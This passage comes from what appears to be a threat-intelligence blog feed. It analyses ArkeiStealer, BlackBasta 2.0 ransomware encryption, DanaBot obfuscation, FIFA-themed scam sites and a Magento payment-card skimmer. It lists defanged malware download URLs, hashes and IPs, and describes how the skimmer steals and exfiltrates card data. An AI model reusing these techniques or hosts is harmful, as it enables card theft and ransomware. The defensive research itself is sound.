to read information from web browsers. ArkeiStealer downloads and stores below DLLs into the %\ProgramData\% directory. Name Description sqlite3.dll SQLite Database Management DLL freebl3.dll Freebl Network Security Service DLL for Mozilla Firefox mozglue.dll Browser Library for Mozilla Firefox nss3.dll Network System Service DLL for Mozilla Firefox softokn3.dll Part of Network Security Service for Mozilla Firefox msvcp140.dll MS Visual Studio component vcruntime140.dll Runtime Library for Visual Studio Conclusions Information stealing is extremely rewarding for threat actors especially when storing financial and personal information in web browsers is becoming common. Use of legitimate DLL components to perform browser information enumeration and use of dynamic configuration allows ArkeiStealer threat actors to tailor their operation and choose the information they want to steal from the victim. At Zscaler, ThreatLabz team works closely with security research, security engineering and ML scientists to develop tools that augment and empower security teams in tackling complex and evasive threats. After successfully detecting C2 traffic to a malicious server, it was further passed to the Threat Hunting team for end-to-end atack chain construction. The team successfully created an end-to-end attack chain identifying all infection stages which consisted of a DuckDuckGo search, a fake TradingView website, a backdoored TradingView Windows application download, SmokeLoader C2 beaconing and the ArkeiStealer download and C2 beaconing. ZScaler Cloud Sandbox Report Figure 7: ArkeiStealer Cloud Sandbox Report In addition to cloud sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. The Machine Learning Threat Detection Model assists in identifying emerging threats, automatically blocking those with the highest risk scores, and ranking suspicious candidates for further review. Win32.Backdoor.Smokeloader Win32.Pws.Arkeistealer MITRE ATT&CK TTP Mapping ID Tactic Technique T1203 Exploitation for Client Execution Benign windows process is dropping new PE files T1574.002 DLL Side-Loading Tries to load missing DLLs T1055 Privilege Escalation Injects code into the Windows Explorer T1036 Defense Evasion Creates files inside the user directory T1070.004 File Deletion Deletes itself after installation T1497 Virtualization/Sandbox Evasion Checks for kernel code integrity T1564.001 Hidden Files and Directories Hides that the sample has been downloaded from the Internet T1010 Discovery Application Window Discovery T1057 Process Discovery Verifies the name of parent process T1082 System Information Discovery Gathers system OS version info T1518.001 Security Software Discovery Checks if the current machine is a virtual machine Checks if the current process is being debugged T1071 Application Layer Protocol: Web protocol Posts data to web server C2 URLs/IPs found in malware configuration T1095 Non-Application Layer Protocol: Tries to download or post to a non-existing http route T1105 Ingress Tool Transfer Some HTTP requests failed with 404. Part of communication protocol Indicators of Compromise Indicators Description Fake TradingView Desktop Application Download fc99ea424df48f2b661219b71f33b979 MD5 of Fake TradingView Desktop Application 1a70718eefa2aef42f4b09577aea7b43ff874e02 SHA1 of Fake TradingView Desktop Application f4c166dddefd29eb457d0a7b426928b1123626c6c1568bc998440dac72a816b7 SHA256 of Fake TradingView Desktop Application TradingVlev_x32_x64bit.exe Fake TradingView Desktop Application 467d42eca35c0571c30d3f20700d9dff MD5 of Fake TradingView Desktop Application e26512838e6ffb8af84743ae37821694cd380003 SHA1 of Fake TradingView Desktop Application 9abdfcea109db4763065fee6d3e87299f03f57dba0307c67ad10cd86f0f2acf3 SHA256 of Fake TradingView Desktop Application SmokeLoader C2 Fake TradingView Application Distribution Domain Fake TradingView look-alike website hxxps://tradingview[.]business/download.php Fake TradingView download URL 212[.]8[.]246[.]70/builds/still[.]exe ArkeiStealer download URL 212[.]8[.]246[.]70/builds/installer[.]exe ArkeiStealer download URL 212[.]8[.]246[.]70/builds/bot[.]exe ArkeiStealer download URL 4d7f538bf21bf0c42fee87d28d3f3079 ArkeiStealer payload 55552ed60bddd332eee8a23f0494174f ArkeiStealer payload 16857afad0b6c40469e5d9d9b63a2927 ArkeiStealer payload 0743250f8bb1a0baa01affcfd963d171 ArkeiStealer payload References [1] “Demystifying the full attack chain of MineBridge RAT”, Fri, 23 12月 2022 09:13:40 -0800 Pallav Khandhar Back in Black... Basta Key Points BlackBasta emerged in February 2022 with double extortion ransomware attacks against organizations The threat group exfiltrates sensitive information from organizations before performing file encryption and demanding a ransom payment The previous version of BlackBasta shared many similarities to the now defunct Conti ransomware, although the malware code itself was novel In November 2022, BlackBasta ransomware received significant updates including the file encryption algorithms, introduction of stack-based string obfuscation, and per victim file extensions The ransomware code modifications are likely an attempt to better evade antivirus and EDR detection Zscaler ThreatLabz has been tracking prominent ransomware families and their tactics, techniques and procedures (TTPs) including the BlackBasta ransomware family. On November 16, 2022, ThreatLabz identified new samples of the BlackBasta ransomware that had significantly lower antivirus detection rates. The latest BlackBasta code has numerous differences compared to the original BlackBasta ransomware. The changes from the previous version include replacing the file encryption algorithms and switching from the GNU Multiple Precision Arithmetic Library (GMP) to the Crypto++ encryption library. Many of the malware’s strings have been obfuscated and the filenames have been randomized, which may hinder static-based antivirus detection and behavioral-based EDR detection. This blog focuses on these recent changes to BlackBasta. Since the current BlackBasta codebase is quite different from the original, ThreatLabz refers to this new version as BlackBasta 2.0. Technical Analysis The following sections analyze the changes to the BlackBasta ransomware including the string obfuscation, file encryption and compare various features that have been added, removed or modified. String Obfuscation Similar to Conti ransomware, the BlackBasta ransomware developer appears to be experimenting with stack-based string obfuscation using ADVObfuscator. Figure 1 shows an example obfuscated string that is constructed on the stack and decoded using an XOR operation with a single byte. Figure 1. BlackBasta 2.0 stack-based string obfuscation example Currently, not all strings in the ransomware are obfuscated, but it is likely that more strings will be obfuscated soon. File Encryption Perhaps the most significant modifications in BlackBasta 2.0 is to the encryption algorithms. Previous versions of BlackBasta ransomware used a per victim asymmetric 4,096-bit RSA public key and a per file ChaCha20 symmetric key. The RSA algorithm was implemented using the GNU Multiple Precision Arithmetic Library (GMP). In the latest version of BlackBasta ransomware, the encryption algorithms have been replaced with Elliptic Curve Cryptography (ECC) and XChaCha20. The encryption library used to implement these algorithms in BlackBasta 2.0 is Crypto++. The elliptic curve used by BlackBasta 2.0 is NIST P-521 (aka secp521r1). An example hardcoded NIST P-521 public key embedded in a BlackBasta 2.0 sample is shown below: Public-Key: (521 bit) pub: 04:00:52:1f:d8:b3:65:b7:9c:30:bd:fa:1c:88:cc: 77:77:81:f6:50:9d:d9:17:8d:17:d8:fa:3a:8c:b0: f2:6f:87:21:0c:95:db:94:f5:9c:bf:fd:ca:f0:8d: 19:6a:9c:2f:9f:4b:96:20:31:95:41:54:3e:92:43: ed:7b:d1:81:8c:58:78:01:2e:31:b8:02:7a:c1:b9: 7f:2f:b4:b2:ba:aa:df:ed:68:a2:df:eb:90:4a:4f: da:28:10:db:f5:ae:12:08:cf:dd:1f:10:80:48:00: 32:38:1d:23:40:0c:ca:05:2c:5c:d2:79:1d:ae:8f: 0a:74:a1:1c:79:b3:0c:38:21:aa:94:1a:4f ASN1 OID: secp521r1 NIST CURVE: P-521 writing EC key -----BEGIN PUBLIC KEY----- MIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQAUh/Ys2W3nDC9+hyIzHd3gfZQndkX jRfY+jqMsPJvhyEMlduU9Zy//crwjRlqnC+fS5YgMZVBVD6SQ+170YGMWHgBLjG4 AnrBuX8vtLK6qt/taKLf65BKT9ooENv1rhIIz90fEIBIADI4HSNADMoFLFzSeR2u jwp0oRx5sww4IaqUGk8= -----END PUBLIC KEY----- The encryption process used by BlackBasta 2.0 leverages the Crypto++ Elliptic Curve Integrated Encryption Scheme (ECIES) in Diffie-Hellman Augmented Encryption Scheme (DHAES) mode (also known as DHIES to avoid confusion with the Advanced Encryption Standard) to generate a per file XChaCha20 and a hash-based message authentication code (HMAC). BlackBasta appends a 314-byte footer to files after encryption has been completed as shown below in Figure 2. Figure 2. Example BlackBasta 2.0 encrypted file footer The first 133-bytes (in blue) are an ephemeral NIST P-521 public key generated per file. The next 56 bytes are an encrypted per file XChaCha20 32-byte key and 24-byte nonce (in green), followed by a 20-byte HMAC (in red). This is followed by NULL byte padding and a two-byte value (in orange) for the size of the cryptographic material. The last 12 bytes (in purple) are a marker (e.g., j4ftnwzxbrf), which changes per victim that the BlackBasta decryption tool can use to identify encrypted files. The encryption process starts by generating an ephemeral NIST P-521 key pair. The corresponding private key is then used to generate a shared secret with the hardcoded public key using the Diffie-Hellman algorithm. The result is passed to the key derivation function KDF2 to produce 72 pseudorandom bytes. The first 16-bytes are used as a HMAC key and the subsequent 56 bytes are used as an XOR key to encrypt the file’s XChaCha20 key and nonce (shown above in green). The per file XChaCha20 key and nonce are generated using the Crypto++ random number generator library. The HMAC is calculated with the ciphertext using the SHA1 hash algorithm. The result can be used for message verification with the 20 bytes in the footer (shown in red). To optimize for speed, BlackBasta encrypts files differently with XChaCha20 based on the file's size. If the file is less than 5,000 bytes the full file is encrypted in blocks of 64 bytes. If the file size is greater than 64 bytes and not an even multiple of 64 bytes, the last 64 byte block will not be encrypted. If the file size is less than or equal to 1,073,741,824 (0x40000000) bytes (i.e., 1GB), BlackBasta alternates encrypting 64 byte blocks followed by 128 bytes that are skipped (i.e., not encrypted) until the end of the file is reached as shown in Figure 3. Figure 3. Example file with null bytes encrypted by BlackBasta 2.0 ransomware alternating between encrypted and unencrypted blocks If the file is larger than 1GB, BlackBasta will first encrypt the first 5,064 bytes, skip 6,336 bytes, encrypt 64 bytes, skip 6,336 bytes, and so on until the end of the file has been reached. The XChaCha20 encryption code is shown in Figure 4. Figure 4. BlackBasta 2.0 XChaCha20 file encryption code After encryption is complete, BlackBasta 2.0 renames the filename with a hardcoded per-victim extension such as .agnkdbd5y, .taovhsr3u or .tcw9lnz6q. The previous version of BlackBasta used only .basta for the encrypted file extension. The encrypted ransom files’ icon image has also been modified from a white box to a red box as shown in Figure 5. Figure 5. BlackBasta (original and new) encrypted file icon images While this change is rather small, this may be sufficient to bypass static signatures that antivirus products may use to detect BlackBasta. Ransom Note BlackBasta 2.0 has modified the ransom note text as shown in Figure 6. Figure 6. Example BlackBasta 2.0 ransom note (November 2022) The ransom note filename has also changed from readme.txt to instructions_read_me.txt. BlackBasta 2.0 opens the ransom note in Windows Notepad via the command cmd.exe /c start /MAX notepad.exe. BlackBasta Feature Parity Table 1 compares the features between BlackBasta versions 1.0 and 2.0. Feature BlackBasta 1.0 BlackBasta 2.0 Encryption library GMP Crypto++ Asymmetric encryption 4,096-bit RSA NIST P-521 Symmetric encryption ChaCha20 XChaCha20 Change encrypted file icon Yes Yes Encrypted file extension .basta .[a-z0-9]{9} Change desktop wallpaper Yes No Readme filename readme.txt instructions_read_me.txt String obfuscation No Yes Terminate processes and services Yes No Delete shadow copies Yes Yes / No (varies between samples) Encrypted file icon name fkdjsadasd.ico fkdjsadasd.ico Mutex name dsajdhas.0 ofijweiuhuewhcsaxs.mutex Table 1. Feature parity between BlackBasta 1.0 and BlackBasta 2.0 In addition to the aforementioned differences, BlackBasta 2.0 no longer changes the victim’s desktop wallpaper, nor terminates processes and services that may interfere with file encryption. The mutex name has also been updated. The number of command-line parameters has also been modified as shown in Table 2. Command-line parameter BlackBasta 1.0 BlackBasta 2.0 Description -threads No Yes Number of threads to use for encryption -nomutex No Yes Do not create a mutex -forcepath Yes Yes Encrypt files in the specified path -bomb Yes (in newer builds) No Spread via ActiveDirectory and launch ransomware Table 2. Comparison between BlackBasta command-line parameters Conclusion Members of the Conti ransomware group appear to have splintered into multiple threat groups including BlackBasta, which has become one of the most significant ransomware threats. ThreatLabz has observed more than five victims that have been compromised by BlackBasta 2.0 since the new version’s release in mid November 2022. This demonstrates that the threat group is very successful at compromising organizations and the latest version of the ransomware will likely enable them to better evade antivirus and EDRs. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to BlackBasta at various levels with the following threat names: Win32.Ransom.BlackBasta Win32.Ransom.Blackbasta.LZ ELF64.Ransom.BlackBasta Indicators of Compromise SHA256 Hash Description e28188e516db1bda9015c30de59a2e91996b67c2e2b44989a6b0f562577fd757 BlackBasta 2.0 sample (executable) c4c8be0c939e4c24e11bad90549e3951b7969e78056d819425ca53e87af8d8ed BlackBasta 2.0 sample (executable) 350ba7fca67721c74385faff083914ecdd66ef107a765dfb7ac08b38d5c9c0bd BlackBasta 2.0 sample (executable) 51eb749d6cbd08baf9d43c2f83abd9d4d86eb5206f62ba43b768251a98ce9d3e BlackBasta 2.0 sample (DLL) 07117c02a09410f47a326b52c7f17407e63ba5e6ff97277446efc75b862d2799 BlackBasta 2.0 sample (DLL) These IOCs are also provided in the ThreatLabz GitHub repository here. Thu, 01 12月 2022 08:36:12 -0800 Brett Stone-Gross Technical Analysis of DanaBot Obfuscation Techniques Key Points DanaBot is a malware-as-a-service platform discovered in 2018 that is designed to steal sensitive information that may be used for wire fraud, conduct cryptocurrency theft, or perform espionage related activities The malware is heavily obfuscated which makes it very difficult and time consuming to reverse engineer and analyze Zscaler ThreatLabz has reverse engineered the various obfuscation techniques used by DanaBot and developed a set of tools using IDA Python scripts to assist with binary analysis DanaBot, first discovered in 2018, is a malware-as-a-service platform that threat actors use to steal usernames, passwords, session cookies, account numbers, and other personally identifiable information (PII). The threat actors may use this stolen information to commit banking fraud, steal cryptocurrency, or sell access to other threat actors. While DanaBot isn’t as prominent as it once was, the malware is still a formidable and active threat. Recently, version 2646 of the malware was spotted in the wild and also a researcher tweeted screenshots of Danabot’s advertisement website shown in Figure 1. Figure 1: DanaBot’s advertisement website Unfortunately, the DanBot developers have done a very good job of obfuscating the malware code. Therefore, it is very difficult and time consuming process to to reverse engineer and analyze. This is a companion blog post to a set of IDA Python scripts that Zscaler ThreatLabz is releasing on our Github page. The goal of the scripts is to help peel away some of the layers of DanaBot’s obfuscations and inspire additional research into not only the obfuscation techniques, but the malware itself. Technical Analysis The following sections summarize the numerous techniques that the DanaBot developers have implemented to obfuscate the malware binary code. Junk Byte Jumps One of the first anti-analysis techniques that DanaBot employs is a “junk byte jump” instruction. This is an anti-disassembly technique where a jump instruction will always jump over a junk byte. The junk byte is skipped during normal program execution, but causes IDA Pro to display an incorrect disassembly. An example of this technique is shown in Figure 2: Figure 2: An example of a junk byte jump The IDA Python script searches for junk byte jump patterns and patches them with NOP instructions. This operation fixes IDA Pro’s disassembly as shown in Figure 3. Figure 3: An example of a patched junk byte jump Dynamic Returns The next anti-analysis technique is a “dynamic return” operation. This technique calculates a new return address at the end of a function, causing a change in the program’s control flow. In DanaBot’s implementation, they are used to “extend” a function–exposing additional hidden code. An example of a dynamic return is shown in Figure 4. Figure 4: An example of a dynamic return Using the IDA Python script, these dynamic returns can be patched, the functions extended, and the hidden code exposed. An example of this is shown in Figure 5. Figure 5: An example of a patched dynamic return Stack String Deobfuscation Preparation and Code Re-analysis Before moving on to additional DanaBot anti-analysis techniques, we’ve included three IDA Python scripts: The first two scripts are preparation steps to help with stack string deobfuscation described in a later section. The first script patches out a code pattern that is used to uppercase letters (this removes a small function basic block that interferes with stack string reconstruction) and the second script renames variables that store the letters used in stack strings. Before running the third script, check that IDA Pro’s ”Options->Compiler…” is set to “Delphi” (see Figure 6.) Figure 6: IDA Pro’s Compiler options Since the previous scripts patched a lot of existing code and exposed a bunch of new code, the script helps reset and re-analyze the modified code in IDA Pro to get a cleaner IDB database. Once the script and analysis completes, some manual clean up may be required. Our general method is: Search → Sequence of bytes… Search for the standard function prolog: 55 8B EC Sort by Function For each result without a defined function: Right click → Create function… Look for any addresses that are causing issues in the Output window Right click → Undefine Right click → Code Junk StrAsg and StrCopy Function Calls DanaBot adds a lot of junk code to slow down and complicate reverse engineering. One of the junk code patterns is adding extraneous StrAsg and StrCopy function calls. These functions are part of the standard Delphi library and are used to assign or copy data between variables. Figure 7 shows an example snippet of code with a number of these calls. If we trace the variable arguments we can see that they are usually assigned to themselves or a small set of other variables that aren’t used in actual malware code. Figure 7: Example of junk StrAsg and StrCopy function calls The IDA Python script tries to find and patch these junk calls. Figure 8 shows the result in the example from Figure 7. Figure 8: Example of patched junk StrAsg and StrCopy function calls Stack Strings The next obfuscation method is DanaBot’s version of creating “stack strings”. The malware assigns letters of the alphabet to individual variables and then uses those variables, pointers to those variables, and various Delphi character/string handling functions to construct strings one character at a time. Figure 9 is an example construction of the string “wow64.dll”. Figure 9: Example stack string of “wow64.dll” These stack strings litter most of the malicious functions in DanaBot and very easily lead to reverse engineering fatigue. On top of that, while some of the constructed strings are used for malware purposes, most of them turn out to be junk strings. Figure 10 is a snippet of output from a script that will be introduced below. As can be seen in the figure, most of the strings are random DLL, executable, and Windows API names. Figure 10: Example script output showing junk strings The best way to extract these stack strings is by emulating the construction code, but due to the following reasons we experimented with another deobfuscation technique: There are thousands of these strings There are not clear start/end patterns to automatically extract the construction code They rely on standard Delphi functions which aren’t particularly easy to emulate Most of them are junk strings The sheer amount of construction code hinders malware analysis the most The goal of the IDA Python scripts and is not to extract a wholly accurate stack string, but enough of the string to determine whether the string is junk or not. After some trial and error experimentation, the scripts also try their best to remove the stack string construction code to allow for much easier analysis. If the string turns out to be legitimate, the original construction code is saved as comments so a proper extraction of the string can be done if/when needed. Empty Loops and Junk Math Loops After removing the junk StrAsg and StrCopy function calls and the stack strings, there will be a bunch of empty loops. The IDA Python script can be used to remove these loops. There will also be loops left that just contain junk math code (see Figure 11.) The IDA Python script will remove these junk code math loops. Figure 11: Example junk math loops Junk Strings and Junk Global Variables As we saw in the stack strings section above, there were a lot of DLL, executable, and Windows API name based junk strings. These junk strings exist as normal strings as well, see Figure 12 as an example. Figure 12: Example junk strings While we haven’t found good patterns to automatically remove references to these junk strings, the IDA Python script renames them as “junk” to ease manual analysis. DanaBot also adds a lot of junk code involving global variables and various math operations, see Figure 13 for an example. Figure 13: Example junk global variable math The IDA Python script attempts to locate and rename these variables as “junk” to help with analysis. Miscellaneous Tips and Tricks Based on our experience reverse engineering DanaBot over the years, we have found the following miscellaneous tricks and tips to be helpful. The first is using the Interactive Delphi Reconstructor (IDR) program to export standard Delphi library function and variable names. We use Tools → MAP Generator and Tools → IDC Generator to export MAP and IDC files. While IDR creates an IDA IDC script, we don’t use it directly as it degrades the quality of the IDA Pro disassembly/decompilation. Instead, we use the scripts and to extract the information from the generated IDC and MAP files and use the output scripts to import the naming information. DanaBot resolves some of its Windows API functions by hash, so we use OALabs’ HashDB IDA Plugin (which recently added support for DanaBot’s hashing algorithm) to resolve the names by hash. Finally, we make liberal use of IDA Pro’s right click → Collapse item feature to hide the remaining junk code, especially the renamed junk strings and global variables. Before and After Example As an overall example, Figure 14 is a screenshot for a section of DanaBot code before the deobfuscation scripts have been applied. The details of the code don’t particularly matter for this discussion, but the snippet shows DanaBot’s initialization of its 455-byte binary structure used in its initial “system information” command and control beacon. Figure 14: Example of code before deobfuscations Figure 15 is an example of the same code snippet after applying the deobfuscation scripts. Figure 15: Example of code after deobfuscations Conclusion While there is still room for improvement, the DanaBot malware code is much easier to analyze and reason about. Expanding the scope to the entire binary, the deobfuscation techniques significantly reduce the complexity and time spent while reverse engineering the malware. We look forward to making further improvements/additions and welcome other researchers’ contributions to the existing scripts to peel away more layers of DanaBot’s obfuscation. Zscaler Detection Status W32/Danabot Cloud Sandbox Detection Indicators of Compromise IOC Notes 8c6224d9622b929e992500cb0a75025332c9cf901b3a25f48de6c87ad7b67114 SHA256 hash of DanaBot version 2646 main component Tue, 06 12月 2022 08:37:57 -0800 Dennis Schwarz Surge of Fake FIFA World Cup Streaming Sites Targets Virtual Fans Zscaler ThreatLabz is always on the lookout for threat actors trying to take advantage of major world news and events. The FIFA World Cup 2022 has brought with it a spike in cyber attacks targeting football fans through fake streaming sites and lottery scams, leveraging the rush and excitement around these uncommon events to infect users with malware. Similar to the rise in sites and cyber attacks observed in 2020 during the Tokyo Olympics, recently ThreatLabz has observed an increase in newly registered domains related to the FIFA World Cup. Not all of these domains are malicious, but as defenders it is important that we classify all newly registered domains as suspicious and conduct analysis to weed out hidden offenders. Below is an overview of the traffic trends and cyber attack campaigns observed around the upcoming FIFA World Cup event. Key Points As the FIFA World Cup nears, ThreatLabz researchers have observed a significant spike in new streaming sites with newly registered domains. Fake streaming sites are also using legitimate websites/ portals to post fake streaming links. Attackers are seen targeting users with multiple related scams like World Cup match tickets, airline tickets, and themed lottery draws etc. Different malware families have been jumping on board and leveraging the FIFA World Cup event to target football fans. Attackers are also targeting users with the malicious cracked version of the games related to FIFA/football. Most of the malware and scam campaigns leveraging the ongoing FIFA World Cup are using newly registered domains. Traffic Trends As the FIFA World Cup started ThreatLabz saw a significant increase in the number of streaming transactions starting on November 21st. Case Study 1 : Fake streaming sites ThreatLabz observed a spike in fake streaming sites and other scam sites that claim to be offering free streaming of the FIFA World Cup matches but instead redirect users and then prompts them to enter payment card details. Similar templates for fake streaming sites appeared in 2020 during the Tokyo Olympics. In most of the current and past cases observed by the researchers, newly registered domains are used to host the scam sites but in a few examples legitimate established sites like Xiaomi, Reddit, OpenSea, and LinkedIn host fake links that redirect to the malicious sites. Figure 1: Fake streaming site link posted on a Linkedin profile and the redirected fake site. In the campaign shown above, victims are enticed to visit a malicious site claiming to provide live streaming of the FIFA World Cup 2022 opening ceremony. The site then redirects to a fake streaming site hosted on Blogspot and users are prompted to create an account for free access to watch the live streaming event. In another example, a link to a fake streaming site hosted on OpenSea does the same thing. Figure 2: Screenshots showing fake streaming site and related link posted on OpenSea. As the user enters their email address and password credentials to create a new account, they undergo multiple redirects which finally land them on a YouTube video. Figure 3: Redirection chain. Visitors to many of these fake streaming sites are prompted to provide payment card details within form templates similar to the one seen below. Figure 4: Fake streaming site payment page. Case 2: FIFA WorldCup related scams As the FIFA World Cup kicked off, researchers observed a rapid rise in threats and scam sites related to the event. Many newly registered sites offering World Cup tickets are being hosted by scammers trying to trick users into paying for fake tickets. The threat actors behind these scam sites are typically trying to collect fake ticket fees or steal payment card details. In the example shown below, a suspicious pop-up site offering World Cup match tickets was recently registered on Nov 15th. Due to the high number of scams like this one, many organizations select to block, limit, or analyze newly registered domains, categorized as less than 10 days old. Figure 5: Fake FIFA match ticket site. These ongoing scams are not limited to the World Cup match tickets but instead extend to many aspects of the ongoing FIFA World Cup fever. ThreatLabz has also observed a scam where users are offered prize money and airline tickets by Qatar Airways. The domain for the related scam site, shown in the screenshot below, was registered on Nov 11th, this timing suggests to researchers that the attackers behind this attack site are targeting World Cup fans. Figure 6: Scam website with fake Qatar airline lottery message. Attackers are also seen targeting users by sending fake lottery emails and pretending to be a Qatar FIFA World Cup 2022 lottery committee. Below is one such email which has an attached PDF with the lottery details. Figure 7: Scam email imitating the FIFA organizing committee. In this scam, an email with a PDF attachment identifies the target victim as the prize winner of a large lottery drawing. Users are asked to open the attachment and send their personal details to claim the award money. Figure 8: PDF file attached to the scam email. Case 3: SolarMarker malware activity SolarMarker is a well-known malware family with infostealer capabilities that use Search Engine Optimization (SEO) manipulation techniques to lure in victims and deliver the initial payload. Most commonly, ThreatLabz researchers have observed these attackers hosting the malicious PDF files on compromised Wordpress sites with discoverable URLs and search engine results. ThreatLabz observed a few cases where SolarMarker is targeting the football fans trying to buy WorldCup stickers from compromised ecommerce sites. When the user clicks to download one of these fake PDFs they are automatically redirected to a hacker controlled site that delivers the malicious Microsoft's Windows Installer (MSI) service payload to perform the rest of the attack. Figure 9: Malicious PDF file hosted on the compromised site. Case 4: Fake cracked FIFA game distributing infostealer through PDF Attackers are using malicious PDF files hosted on compromised websites to deliver infostealers by luring users to download what they think is an illegally cracked recording of the FIFA games. In August, ThreatLabz observed a similar threat campaign for fake pirated software downloads, but in comparison, these new discoveries feature several enhancements along with the use of malicious PDFs. Notably, these attackers are also using SEO manipulation techniques to list the malicious PDF links in ‘cracked FIFA games’ search engine results. As noted in the August threat campaign, one of the key characteristics of these threats is that they target victims that are doing something they shouldn’t be - like searching for versions of pirated software and cracked games that require payment for legitimate access. Targeting this type of fringe risk-taking behavior by users definitely gives attackers an advantage, because victims are already expecting a shady and unfamiliar site run by hackers. Additionally, the ability to verify the safety of a site, link, or file is beyond the technical capabilities for most general visitors. Figure 10: Malicious PDF file that downloads malware. As the user clicks to download the PDF, they are instantly redirected to a newly registered domain that serves up an archive file containing the malicious executable. Figure 11: Screenshot of the malicious fake ‘cracked game recording’ download prompt that delivers the malicious payload when user clicks to download the file. Case 5: Parrot TDS fake updates malware Parrot TDS is the fake update malware campaign, active since 2017, that works by injecting malicious JavaScript code into poorly secured content management systems CMS (i.e. Wordpress, Joomla), typically with weak admin passwords. In most cases Parrot TDS threat actors lure victims to download the infecting remote access tool file by displaying a notification that the user is missing critical browser updates. The Parrot TDS script also filters the users based on their IP addresses and user-agents. ThreatLabz recently observed that FIFA World Cup information sites are being targeted by this malware, as shown in the screenshot below. Figure 12: Malicious Parrot TDS script injected in compromised Wordpress site. Guidelines to protect against these attacks: Book FIFA World Cup airline tickets only from the authorized vendors and verified sites. For online streaming the World Cup matches only use the FIFA World Cup’s streaming partner’s website. Beware of fraudulent emails related to lottery or give away scams. Avoid downloading cracked software and games from untrusted websites. Don’t fall for exciting “too good to be true” offers from unknown sources, and be extremely wary of clicking on links or documents from these sources. Always make sure you are utilizing HTTPS/secure connections. Use two-factor authentication whenever possible, especially on sensitive accounts such as those used for banking. Always ensure that your operating system and web browser have the latest security patches installed. Backup your documents and media files - this is extremely important with ransomware infections. Indicators of Compromise Fake/ Scam websites linkedin[.]com/pulse/official-fifa-world-cup-2022-live-micker-hukkker fifaworldcupontv[.]blogspot[.]com opensea[.]io/collection/fifa-world-cup-2022-qatar-vs-ecuador-watch-hd-onli sportsevents4me[.]store humourousretort[.]top i13lc8k[.]cn bestsports-stream[.]com gatewaytoworld[.]com Fifafootball[.]io Fifa2022worldcup[.]net Malicious samples 09FAF066833D24B049DBC3C824AE25E3 556858D3B8629407A65E2737C1DED5DC 277760FC389F8F21A50FB04D27519BEF 8C436293FD1221FAD3E48ECEDAE683A5 02E7CA1129049755697C8185AC8F98B9 D0DEE3AAC6A71AA9E9E4FC6E411574F0 3E74F0F073E296460C52EEE06E914B25 346E4B588F0A6EBE9E0E6B086D23E933 C87B80497B85B22BE53F52E0F2EBDF11 854D5DFE2D5193AA4150765C123DF8AD Malicious URLs eurotranslations[.]ie/wp-content/uploads/formidable/13/panini-world-cup-sticker-spreadsheet.pdf wartimestac[.]site/Panini-World-Cup-Sticker-Spreadsheet/pdf/sitedomen/ ww16[.]rocklandbase[.]site rocklandbase[.]site xbitwiseacre[.]site ww16[.]hornwien[.]site hornwien[.]site ww25[.]violentpreamps[.]site violentpreamps[.]site brazingonestop[.]site ww6[.]brazingonestop[.]site schemeresource[.]site ww16[.]brazingonestop[.]site karenstatus[.]site ww16[.]followfoxconn[.]site overadmit[.]site earningsteel[.]site ww16[.]hrslimwound[.]site hrslimwound[.]site ww38[.]violentpreamps[.]site followfoxconn[.]site ww16[.]idolwizardry[.]site ww16[.]excitinghear[.]site africanscientists[.]africa/wp-content/uploads/2022/07/kesfaus.pdf arakusus[.]com/8c089e99b7202cce09c9fdc197d90c17waTJUERFj6tPQSyHT6Fi2fdM4hl9/clCEyFhwUkazz1uDE brakenetic[.]com/wp-content/uploads/verowes.pdf[.]za/wp-content/uploads/2022/07/Fifa_22_Product_Key_And_Xforce_Keygen___Free_Registration_Code_Free_For_Windows.pdf sattology[.]org/wp-content/uploads/2022/07/Fifa_22_Patch_With_Serial_Key_MacWin.pdf games-blacksoft[.]com/keygen-fifa-23-serial-number-key-crack-pc/ 193.106.191[.]30/MicrosoftKeys.exe 193.56.146[.]168/del/lo2ma.exe 194.110.203[.]101/puta/softwinx86.exe 95.214.24[.]96/load.php?pub=mixinte 163.123.143[.]4/download/Service.bmp Tue, 22 11月 2022 17:36:20 -0800 Prakhar Shrotriya Black Friday Alert: 4 Emerging Skimming Attacks to Watch for This Holiday Season Summary At Zscaler ThreatLabz, we have been closely monitoring web threats such as payment card skimming attacks against e-commerce stores. Starting in July 2022, we have observed an increase in such activity targeted against Magento and Presta Shop e-commerce stores. With Black Friday and the holiday season approaching, it is expected that there will be an increase in online shopping activity among users as they rush to take advantage of various discount offers. These holiday shopping trends make skimming attacks even more lucrative for threat actors as they can increase their success rate of stealing payment card details of victims. In this blog, we will share details of 4 groups of skimming attacks that have very little to no documentation in the public domain. Most of the indicators related to these attacks have no detection by security vendors. We have shared the complete list of IOCs. Based on our observation, e-commerce stores in the US, UK, Australia, and Canada were primarily targeted by these threat actors. Most of the attacks we observed have a shelf life of more than 1 month. Key points Payment card skimming attacks continue to pose a prevalent threat to e-commerce stores. Magento and Presta-based e-commerce stores in US, UK, Australia and Canada were primarily targeted since July 2022 These skimming campaigns have a long shelf life and manage to keep their malicious activities under the radar for several months. New variants of skimming attacks rely on heavy use of JavaScript obfuscation which makes detection more difficult. An increase in web-based threats such as CC skimming around the holiday season can be expected since threat actors prey on unsuspecting shoppers' increased activity during this time. Technical analysis Group 1 In August and September 2022, we observed a new CC skimmer in-the-wild in low-volume attacks against Magento e-commerce websites. The JavaScript skimmer code was hosted on attacker-registered domains and the link to these skimmers was injected in the compromised e-commerce sites. We identified 2 unique domains used in this attack by the threat actor. Interestingly, both these domains would redirect the user to the legit nodeJS website when accessed directly. It is worth noting that both these domains have very little to no detection on VirusTotal which indicates that the threat actor was able to stay under the radar. Figure 1: Very low detection of skimmer-related malicious domains During the course of tracking this threat actor, we noticed two variants of skimmer code used. One of them was obfuscated and included some additional functionalities. We'll discuss both variants here. Variant 1 This CC Skimmer is hosted at the URL: hxxps://modersecure[.]com/sources.200x/google-analytics.js Below are the main functionalities of this skimmer: 1. Uses the setInterval() function to check every 1.5 seconds whether the current URL contains the string "/checkout/#payment". This string corresponds to the checkout page of the compromised e-commerce store and indicates that the user is ready to purchase the items added to the cart. 2. Calls the findBtnAddAction() function which uses HTML DOM to locate the payment button on the page. It then adds an event listener for this button which activates as soon as the user clicks it. 3. Event Listener calls the sendCardData() function which further calls the getCardData() function to retrieve the payment card data information. This information will be base64-encoded and sent to the attacker's data exfiltration URL. In this case it is: modersecure[.]com/sources.200x/analytic.php. The info is exfiltrated using navigator.sendBeacon() function which sends an HTTP POST request Collection of payment card information Information about the payment card will be collected and stored in the following key-value pair structure. { 'number_key': cardNumber, 'exp_key': cartExp, 